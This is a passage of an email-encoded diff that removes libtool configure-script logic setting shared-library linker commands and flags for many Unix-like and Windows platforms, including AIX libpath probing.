investigation. FIXME -=09archive_cmds=3D'$CC -nostart $libobjs $deplibs $compiler_flags ${wl= }-soname $wl$soname -o $lib' - else -=09ld_shlibs=3Dno - fi - ;; - - cygwin* | mingw* | pw32*) - # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, ) is actually meaning= less, - # as there is no search path for DLLs. - hardcode_libdir_flag_spec=3D'-L$libdir' - allow_undefined_flag=3Dunsupported - always_export_symbols=3Dno - enable_shared_with_static_runtimes=3Dyes - export_symbols_cmds=3D'$NM $libobjs $convenience | $global_symbo= l_pipe | $SED -e '\''/^[BCDGS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '= \''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols' - - if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then - archive_cmds=3D'$CC -shared $libobjs $deplibs $compiler_flags = -o $output_objdir/$soname ${wl}--image-base=3D0x10000000 ${wl}--out-imp= lib,$lib' -=09# If the export-symbols file already is a .def file (1st line -=09# is EXPORTS), use it as is; otherwise, prepend... -=09archive_expsym_cmds=3D'if test "x`$SED 1q $export_symbols`" =3D xEX= PORTS; then -=09 cp $export_symbols $output_objdir/$soname.def; -=09else -=09 echo EXPORTS > $output_objdir/$soname.def; -=09 cat $export_symbols >> $output_objdir/$soname.def; -=09fi~ -=09$CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_= flags -o $output_objdir/$soname ${wl}--image-base=3D0x10000000 ${wl}--= out-implib,$lib' - else -=09ld_shlibs=3Dno - fi - ;; - - netbsd*) - if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then -=09archive_cmds=3D'$LD -Bshareable $libobjs $deplibs $linker_flags -o = $lib' -=09wlarc=3D - else -=09archive_cmds=3D'$CC -shared $libobjs $deplibs $compiler_flags ${wl}= -soname $wl$soname -o $lib' -=09archive_expsym_cmds=3D'$CC -shared $libobjs $deplibs $compiler_flag= s ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols = -o $lib' - fi - ;; - - solaris* | sysv5*) - if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then -=09ld_shlibs=3Dno -=09cat <&2 - -*** Warning: The releases 2.8.* of the GNU linker cannot reliably -*** create shared libraries on Solaris systems. Therefore, libtool -*** is disabling shared libraries support. We urge you to upgrade GNU -*** binutils to release 2.9.1 or newer. Another option is to modify -*** your PATH or compiler configuration so that the native linker is -*** used, and then restart. - -EOF - elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/= null; then -=09archive_cmds=3D'$CC -shared $libobjs $deplibs $compiler_flags ${wl}= -soname $wl$soname -o $lib' -=09archive_expsym_cmds=3D'$CC -shared $libobjs $deplibs $compiler_flag= s ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols = -o $lib' - else -=09ld_shlibs=3Dno - fi - ;; - - sunos4*) - archive_cmds=3D'$LD -assert pure-text -Bshareable -o $lib $libob= js $deplibs $linker_flags' - wlarc=3D - hardcode_direct=3Dyes - hardcode_shlibpath_var=3Dno - ;; - - linux*) - if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null= ; then - tmp_archive_cmds=3D'$CC -shared $libobjs $deplibs $compiler_fl= ags ${wl}-soname $wl$soname -o $lib' -=09archive_cmds=3D"$tmp_archive_cmds" - supports_anon_versioning=3Dno - case `$LD -v 2>/dev/null` in - *\ 01.* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11 - *\ 2.11.93.0.2\ *) supports_anon_versioning=3Dyes ;; # RH7.3 .= .. - *\ 2.11.92.0.12\ *) supports_anon_versioning=3Dyes ;; # Mandra= ke 8.2 ... - *\ 2.11.*) ;; # other 2.11 versions - *) supports_anon_versioning=3Dyes ;; - esac - if test $supports_anon_versioning =3D yes; then - archive_expsym_cmds=3D'$echo "{ global:" > $output_objdir/$lib= name.ver~ -cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libnam= e.ver~ -$echo "local: *; };" >> $output_objdir/$libname.ver~ - $CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl= $soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' - else - archive_expsym_cmds=3D"$tmp_archive_cmds" - fi - else - ld_shlibs=3Dno - fi - ;; - - *) - if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/nu= ll; then -=09archive_cmds=3D'$CC -shared $libobjs $deplibs $compiler_flags ${wl}= -soname $wl$soname -o $lib' -=09archive_expsym_cmds=3D'$CC -shared $libobjs $deplibs $compiler_flag= s ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols = -o $lib' - else -=09ld_shlibs=3Dno - fi - ;; - esac - - if test "$ld_shlibs" =3D yes; then - runpath_var=3DLD_RUN_PATH - hardcode_libdir_flag_spec=3D'${wl}--rpath ${wl}$libdir' - export_dynamic_flag_spec=3D'${wl}--export-dynamic' - # ancient GNU ld didn't support --whole-archive et. al. - if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then - =09whole_archive_flag_spec=3D"$wlarc"'--whole-archive$convenience '"$= wlarc"'--no-whole-archive' - else - =09whole_archive_flag_spec=3D - fi - fi - else - # PORTME fill in a description of your system's linker (not GNU ld= ) - case $host_os in - aix3*) - allow_undefined_flag=3Dunsupported - always_export_symbols=3Dyes - archive_expsym_cmds=3D'$LD -o $output_objdir/$soname $libobjs $d= eplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FL= AGS $lib $output_objdir/$soname' - # Note: this linker hardcodes the directories in LIBPATH if ther= e - # are no directories specified by -L. - hardcode_minus_L=3Dyes - if test "$GCC" =3D yes && test -z "$link_static_flag"; then -=09# Neither direct hardcoding nor static linking is supported with a -=09# broken collect2. -=09hardcode_direct=3Dunsupported - fi - ;; - - aix4* | aix5*) - if test "$host_cpu" =3D ia64; then -=09# On IA64, the linker does run time linking by default, so we don't -=09# have to do anything special. -=09aix_use_runtimelinking=3Dno -=09exp_sym_flag=3D'-Bexport' -=09no_entry_flag=3D"" - else -=09# If we're using GNU nm, then we don't want the "-C" option. -=09# -C means demangle to AIX nm, but means don't demangle with GNU nm -=09if $NM -V 2>&1 | grep 'GNU' > /dev/null; then -=09 export_symbols_cmds=3D'$NM -Bpg $libobjs $convenience | awk '\''{= if (((\$2 =3D=3D "T") || (\$2 =3D=3D "D") || (\$2 =3D=3D "B")) && (sub= str(\$3,1,1) !=3D ".")) { print \$3 } }'\'' | sort -u > $export_symbols= ' -=09else -=09 export_symbols_cmds=3D'$NM -BCpg $libobjs $convenience | awk '\''= { if (((\$2 =3D=3D "T") || (\$2 =3D=3D "D") || (\$2 =3D=3D "B")) && (su= bstr(\$3,1,1) !=3D ".")) { print \$3 } }'\'' | sort -u > $export_symbol= s' -=09fi -=09aix_use_runtimelinking=3Dno - -=09# Test if we are trying to use run time linking or normal -=09# AIX style linking. If -brtl is somewhere in LDFLAGS, we -=09# need to do runtime linking. -=09case $host_os in aix4.[23]|aix4.[23].*|aix5*) -=09 for ld_flag in $LDFLAGS; do - =09 if (test $ld_flag =3D "-brtl" || test $ld_flag =3D "-Wl,-brtl")= ; then - =09 aix_use_runtimelinking=3Dyes - =09 break - =09 fi -=09 done -=09esac - -=09exp_sym_flag=3D'-bexport' -=09no_entry_flag=3D'-bnoentry' - fi - - # When large executables or shared objects are built, AIX ld can - # have problems creating the table of contents. If linking a li= brary - # or program results in "error TOC overflow" add -mminimal-toc t= o - # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not - # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. - - archive_cmds=3D'' - hardcode_direct=3Dyes - hardcode_libdir_separator=3D':' - link_all_deplibs=3Dyes - - if test "$GCC" =3D yes; then -=09case $host_os in aix4.012|aix4.012.*) -=09# We only want to do this on AIX 4.2 and lower, the check -=09# below for broken collect2 doesn't work under 4.3+ -=09 collect2name=3D`${CC} -print-prog-name=3Dcollect2` -=09 if test -f "$collect2name" && \ - =09 strings "$collect2name" | grep resolve_lib_name >/dev/null -=09 then - =09 # We have reworked collect2 - =09 hardcode_direct=3Dyes -=09 else - =09 # We have old collect2 - =09 hardcode_direct=3Dunsupported - =09 # It fails to find uninstalled libraries when the uninstalled - =09 # path is not listed in the libpath. Setting hardcode_minus_L - =09 # to unsupported forces relinking - =09 hardcode_minus_L=3Dyes - =09 hardcode_libdir_flag_spec=3D'-L$libdir' - =09 hardcode_libdir_separator=3D -=09 fi -=09esac -=09shared_flag=3D'-shared' - else -=09# not using gcc -=09if test "$host_cpu" =3D ia64; then - =09# VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release - =09# chokes on -Wl,-G. The following line is correct: -=09 shared_flag=3D'-G' -=09else - =09if test "$aix_use_runtimelinking" =3D yes; then -=09 shared_flag=3D'${wl}-G' -=09 else -=09 shared_flag=3D'${wl}-bM:SRE' - =09fi -=09fi - fi - - # It seems that -bexpall does not export symbols beginning with - # underscore (_), so it is better to generate a list of symbols = to export. - always_export_symbols=3Dyes - if test "$aix_use_runtimelinking" =3D yes; then -=09# Warning - without using the other runtime loading flags (-brtl), -=09# -berok will link without error, but may produce a broken library. -=09allow_undefined_flag=3D'-berok' - # Determine the default libpath from the value encoded in an em= pty executable. - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -int -main () -{ - - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - -aix_libpath=3D`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/I= mport File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } -}'` -# Check for a 64-bit object if we didn't find anything. -if test -z "$aix_libpath"; then aix_libpath=3D`dump -HX64 conftest$ac_= exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/= ^0 *\(.*\)$/\1/; p; } -}'`; fi -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -if test -z "$aix_libpath"; then aix_libpath=3D"/usr/lib:/lib"; fi - - hardcode_libdir_flag_spec=3D'${wl}-blibpath:$libdir:'"$aix_libp= ath" -=09archive_expsym_cmds=3D"\$CC"' -o $output_objdir/$soname $libobjs $d= eplibs $compiler_flags `if test "x${allow_undefined_flag}" !=3D "x"; th= en echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_entry_f= lag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" - else -=09if test "$host_cpu" =3D ia64; then -=09 hardcode_libdir_flag_spec=3D'${wl}-R $libdir:/usr/lib:/lib' -=09 allow_undefined_flag=3D"-z nodefs" -=09 archive_expsym_cmds=3D"\$CC $shared_flag"' -o $output_objdir/$son= ame $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"\$= {wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" -=09else -=09 # Determine the default libpath from the value encoded in an empty= executable. -=09 cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -int -main () -{ - - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - -aix_libpath=3D`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/I= mport File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } -}'` -# Check for a 64-bit object if we didn't find anything. -if test -z "$aix_libpath"; then aix_libpath=3D`dump -HX64 conftest$ac_= exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/= ^0 *\(.*\)$/\1/; p; } -}'`; fi -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -if test -z "$aix_libpath"; then aix_libpath=3D"/usr/lib:/lib"; fi - -=09 hardcode_libdir_flag_spec=3D'${wl}-blibpath:$libdir:'"$aix_libpath= " -=09 # Warning - without using the other run time loading flags, -=09 # -berok will link without error, but may produce a broken librar= y. -=09 no_undefined_flag=3D' ${wl}-bernotok' -=09 allow_undefined_flag=3D' ${wl}-berok' -=09 # -bexpall does not export symbols beginning with underscore (_) -=09 always_export_symbols=3Dyes -=09 # Exported symbols can be pulled into shared objects from archive= s -=09 whole_archive_flag_spec=3D' ' -=09 archive_cmds_need_lc=3Dyes -=09 # This is similar to how AIX traditionally builds it's shared lib= raries. -=09 archive_expsym_cmds=3D"\$CC $shared_flag"' -o $output_objdir/$son= ame $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-bn= oentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$rel= ease.a $output_objdir/$soname' -=09fi - fi - ;; - - amigaos*) - archive_cmds=3D'$rm $output_objdir/a2ixlibrary.data~$echo "#defi= ne NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBR= ARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $ma= jor" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revisi= on" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RAN= LIB $lib~(cd $output_objdir && a2ixlibrary -32)' - hardcode_libdir_flag_spec=3D'-L$libdir' - hardcode_minus_L=3Dyes - # see comment about different semantics on the GNU ld section - ld_shlibs=3Dno - ;; - - bsdi[45]*) - export_dynamic_flag_spec=3D-rdynamic - ;; - - cygwin* | mingw* | pw32*) - # When not using gcc, we currently assume that we are using - # Microsoft Visual C++. - # hardcode_libdir_flag_spec is actually meaningless, as there is - # no search path for DLLs. - hardcode_libdir_flag_spec=3D' ' - allow_undefined_flag=3Dunsupported - # Tell ltmain to make .lib files, not .a files. - libext=3Dlib - # Tell ltmain to make .dll files, not .so files. - shrext_cmds=3D".dll" - # FIXME: Setting linknames here is a bad hack. - archive_cmds=3D'$CC -o $lib $libobjs $compiler_flags `echo "$dep= libs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames=3D' - # The linker will automatically build a .lib file if we build a = DLL. - old_archive_From_new_cmds=3D'true' - # FIXME: Should let the user specify the lib program. - old_archive_cmds=3D'lib /OUT:$oldlib$oldobjs$old_deplibs' - fix_srcfile_path=3D'`cygpath -w "$srcfile"`' - enable_shared_with_static_runtimes=3Dyes - ;; - - darwin* | rhapsody*) - case "$host_os" in - rhapsody* | darwin1.[012]) - allow_undefined_flag=3D'${wl}-undefined ${wl}suppress' - ;; - *) # Darwin 1.3 on - if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then - allow_undefined_flag=3D'${wl}-flat_namespace ${wl}-undefine= d ${wl}suppress' - else - case ${MACOSX_DEPLOYMENT_TARGET} in - 10.[012]) - allow_undefined_flag=3D'${wl}-flat_namespace ${wl}-unde= fined ${wl}suppress' - ;; - 10.*) - allow_undefined_flag=3D'${wl}-undefined ${wl}dynamic_lo= okup' - ;; - esac - fi - ;; - esac - archive_cmds_need_lc=3Dno - hardcode_direct=3Dno - hardcode_automatic=3Dyes - hardcode_shlibpath_var=3Dunsupported - whole_archive_flag_spec=3D'' - link_all_deplibs=3Dyes - if test "$GCC" =3D yes ; then - =09output_verbose_link_cmd=3D'echo' - archive_cmds=3D'$CC -dynamiclib $allow_undefined_flag -o $lib = $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstri= ng' - module_cmds=3D'$CC $allow_undefined_flag -o $lib -bundle $libobj= s $deplibs$compiler_flags' - # Don't fix this by using the ld -exported_symbols_list flag, it= doesn't exist in older darwin ld's - archive_expsym_cmds=3D'sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,= ^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.exp= sym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $co= mpiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_= objdir/${libname}-symbols.expsym ${lib}' - module_expsym_cmds=3D'sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^= \(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.exps= ym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compile= r_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' - else - case "$cc_basename" in - xlc*) - output_verbose_link_cmd=3D'echo' - archive_cmds=3D'$CC -qmkshrobj $allow_undefined_flag -o $lib = $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/= $soname` $verstring' - module_cmds=3D'$CC $allow_undefined_flag -o $lib -bundle $lib= objs $deplibs$compiler_flags' - # Don't fix this by using the ld -exported_symbols_list flag= , it doesn't exist in older darwin ld's - archive_expsym_cmds=3D'sed -e "s,#.*,," -e "s,^[ ]*,," -e = "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.= expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $= compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit= -s $output_objdir/${libname}-symbols.expsym ${lib}' - module_expsym_cmds=3D'sed -e "s,#.*,," -e "s,^[ ]*,," -e = "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.= expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$com= piler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' - ;; - *) - ld_shlibs=3Dno - ;; - esac - fi - ;; - - dgux*) - archive_cmds=3D'$LD -G -h $soname -o $lib $libobjs $deplibs $lin= ker_flags' - hardcode_libdir_flag_spec=3D'-L$libdir' - hardcode_shlibpath_var=3Dno - ;; - - freebsd1*) - ld_shlibs=3Dno - ;; - - # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ const= ructor - # support. Future versions do this automatically, but an explicit= c++rt0.o - # does not break anything, and helps significantly (at the cost of= a little - # extra space). - freebsd2.2*) - archive_cmds=3D'$LD -Bshareable -o $lib $libobjs $deplibs $linke= r_flags /usr/lib/c++rt0.o' - hardcode_libdir_flag_spec=3D'-R$libdir' - hardcode_direct=3Dyes - hardcode_shlibpath_var=3Dno - ;; - - # Unfortunately, older versions of FreeBSD 2 do not have this feat= ure. - freebsd2*) - archive_cmds=3D'$LD -Bshareable -o $lib $libobjs $deplibs $linke= r_flags' - hardcode_direct=3Dyes - hardcode_minus_L=3Dyes - hardcode_shlibpath_var=3Dno - ;; - - # FreeBSD 3 and greater uses gcc -shared to do shared libraries. - freebsd* | kfreebsd*-gnu) - archive_cmds=3D'$CC -shared -o $lib $libobjs $deplibs $compiler_= flags' - hardcode_libdir_flag_spec=3D'-R$libdir' - hardcode_direct=3Dyes - hardcode_shlibpath_var=3Dno - ;; - - hpux9*) - if test "$GCC" =3D yes; then -=09archive_cmds=3D'$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+= b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $com= piler_flags~test $output_objdir/$soname =3D $lib || mv $output_objdir/$= soname $lib' - else -=09archive_cmds=3D'$rm $output_objdir/$soname~$LD -b +b $install_libdi= r -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $outpu= t_objdir/$soname =3D $lib || mv $output_objdir/$soname $lib' - fi - hardcode_libdir_flag_spec=3D'${wl}+b ${wl}$libdir' - hardcode_libdir_separator=3D: - hardcode_direct=3Dyes - - # hardcode_minus_L: Not really in the search PATH, - # but as the default location of the library. - hardcode_minus_L=3Dyes - export_dynamic_flag_spec=3D'${wl}-E' - ;; - - hpux10* | hpux11*) - if test "$GCC" =3D yes -a "$with_gnu_ld" =3D no; then -=09case "$host_cpu" in -=09hppa*64*|ia64*) -=09 archive_cmds=3D'$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs= $deplibs $compiler_flags' -=09 ;; -=09*) -=09 archive_cmds=3D'$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${= wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' -=09 ;; -=09esac - else -=09case "$host_cpu" in -=09hppa*64*|ia64*) -=09 archive_cmds=3D'$LD -b +h $soname -o $lib $libobjs $deplibs $link= er_flags' -=09 ;; -=09*) -=09 archive_cmds=3D'$LD -b +h $soname +b $install_libdir -o $lib $lib= objs $deplibs $linker_flags' -=09 ;; -=09esac - fi - if test "$with_gnu_ld" =3D no; then -=09case "$host_cpu" in -=09hppa*64*) -=09 hardcode_libdir_flag_spec=3D'${wl}+b ${wl}$libdir' -=09 hardcode_libdir_flag_spec_ld=3D'+b $libdir' -=09 hardcode_libdir_separator=3D: -=09 hardcode_direct=3Dno -=09 hardcode_shlibpath_var=3Dno -=09 ;; -=09ia64*) -=09 hardcode_libdir_flag_spec=3D'-L$libdir' -=09 hardcode_direct=3Dno -=09 hardcode_shlibpath_var=3Dno - -=09 # hardcode_minus_L: Not really in the search PATH, -=09 # but as the default location of the library. -=09 hardcode_minus_L=3Dyes -=09 ;; -=09*) -=09 hardcode_libdir_flag_spec=3D'${wl}+b ${wl}$libdir' -=09 hardcode_libdir_separator=3D: -=09 hardcode_direct=3Dyes -=09 export_dynamic_flag_spec=3D'${wl}-E' - -=09 # hardcode_minus_L: Not really in the search PATH, -=09 # but as the default location of the library. -=09 hardcode_minus_L=3Dyes -=09 ;; -=09esac - fi - ;; - - irix5* | irix6* | nonstopux*) - if test "$GCC" =3D yes; then -=09archive_cmds=3D'$CC -shared $libobjs $deplibs $compiler_flags ${wl}= -soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${= wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations= -o $lib' - else -=09archive_cmds=3D'$LD -shared $libobjs $deplibs $linker_flags -soname= $soname `test -n "$verstring" && echo -set_version $verstring` -update= _registry ${output_objdir}/so_locations -o $lib' -=09hardcode_libdir_flag_spec_ld=3D'-rpath $libdir' - fi - hardcode_libdir_flag_spec=3D'${wl}-rpath ${wl}$libdir' - hardcode_libdir_separator=3D: - link_all_deplibs=3Dyes - ;; - - netbsd*) - if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then -=09archive_cmds=3D'$LD -Bshareable -o $lib $libobjs $deplibs $linker_f= lags' # a.out - else -=09archive_cmds=3D'$LD -shared -o $lib $libobjs $deplibs $linker_flags= ' # ELF - fi - hardcode_libdir_flag_spec=3D'-R$libdir' - hardcode_direct=3Dyes - hardcode_shlibpath_var=3Dno - ;; - - newsos6) - archive_cmds=3D'$LD -G -h $soname -o $lib $libobjs $deplibs $lin= ker_flags' - hardcode_direct=3Dyes - hardcode_libdir_flag_spec=3D'${wl}-rpath ${wl}$libdir' - hardcode_libdir_separator=3D: - hardcode_shlibpath_var=3Dno - ;; - - openbsd*) - hardcode_direct=3Dyes - hardcode_shlibpath_var=3Dno - if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$= host_os-$host_cpu" =3D "openbsd2.8-powerpc"; then -=09archive_cmds=3D'$CC -shared $pic_flag -o $lib $libobjs $deplibs $co= mpiler_flags' -=09archive_expsym_cmds=3D'$CC -shared $pic_flag -o $lib $libobjs $depl= ibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' -=09hardcode_libdir_flag_spec=3D'${wl}-rpath,$libdir' -=09export_dynamic_flag_spec=3D'${wl}-E' - else - case $host_os in -=09 openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*) -=09 archive_cmds=3D'$LD -Bshareable -o $lib $libobjs $deplibs $linke= r_flags' -=09 hardcode_libdir_flag_spec=3D'-R$libdir' -=09 ;; -=09 *) -=09 archive_cmds=3D'$CC -shared $pic_flag -o $lib $libobjs $deplibs = $compiler_flags' -=09 hardcode_libdir_flag_spec=3D'${wl}-rpath,$libdir' -=09 ;; - esac - fi - ;; - - os2*) - hardcode_libdir_flag_spec=3D'-L$libdir' - hardcode_minus_L=3Dyes - allow_undefined_flag=3Dunsupported - archive_cmds=3D'$echo "LIBRARY $libname INITINSTANCE" > $output_= objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/= $libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE N= ONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdi= r/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll= -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$lib= name.def' - old_archive_From_new_cmds=3D'emximp -o $output_objdir/$libname.a= $output_objdir/$libname.def' - ;; - - osf3*) - if test "$GCC" =3D yes; then -=09allow_undefined_flag=3D' ${wl}-expect_unresolved ${wl}\*' -=09archive_cmds=3D'$CC -shared${allow_undefined_flag} $libobjs $deplib= s $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && ec= ho ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${outp= ut_objdir}/so_locations -o $lib' - else -=09allow_undefined_flag=3D' -expect_unresolved \*' -=09archive_cmds=3D'$LD -shared${allow_undefined_flag} $libobjs $deplib= s $linker_flags -soname $soname `test -n "$verstring" && echo -set_vers= ion $verstring` -update_registry ${output_objdir}/so_locations -o $lib' - fi - hardcode_libdir_flag_spec=3D'${wl}-rpath ${wl}$libdir' - hardcode_libdir_separator=3D: - ;; - - osf4* | osf5*)=09# as osf3* with the addition of -msym flag - if test "$GCC" =3D yes; then -=09allow_undefined_flag=3D' ${wl}-expect_unresolved ${wl}\*' -=09archive_cmds=3D'$CC -shared${allow_undefined_flag} $libobjs $deplib= s $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verst= ring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry = ${wl}${output_objdir}/so_locations -o $lib' -=09hardcode_libdir_flag_spec=3D'${wl}-rpath ${wl}$libdir' - else -=09allow_undefined_flag=3D' -expect_unresolved \*' -=09archive_cmds=3D'$LD -shared${allow_undefined_flag} $libobjs $deplib= s $linker_flags -msym -soname $soname `test -n "$verstring" && echo -se= t_version $verstring` -update_registry ${output_objdir}/so_locations -o= $lib' -=09archive_expsym_cmds=3D'for i in `cat $export_symbols`; do printf "%= s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $li= b.exp~ -=09$LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $l= ibobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_vers= ion $verstring` -update_registry ${objdir}/so_locations -o $lib~$rm $li= b.exp' - -=09# Both c and cxx compiler support -rpath directly -=09hardcode_libdir_flag_spec=3D'-rpath $libdir' - fi - hardcode_libdir_separator=3D: - ;; - - sco3.2v5*) - archive_cmds=3D'$LD -G -h $soname -o $lib $libobjs $deplibs $lin= ker_flags' - hardcode_shlibpath_var=3Dno - export_dynamic_flag_spec=3D'${wl}-Bexport' - runpath_var=3DLD_RUN_PATH - hardcode_runpath_var=3Dyes - ;; - - solaris*) - no_undefined_flag=3D' -z text' - if test "$GCC" =3D yes; then -=09archive_cmds=3D'$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $= deplibs $compiler_flags' -=09archive_expsym_cmds=3D'$echo "{ global:" > $lib.exp~cat $export_sym= bols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib= .exp~ -=09 $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $l= ibobjs $deplibs $compiler_flags~$rm $lib.exp' - else -=09archive_cmds=3D'$LD -G${allow_undefined_flag} -h $soname -o $lib $l= ibobjs $deplibs $linker_flags' -=09archive_expsym_cmds=3D'$echo "{ global:" > $lib.exp~cat $export_sym= bols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib= .exp~ - =09$LD 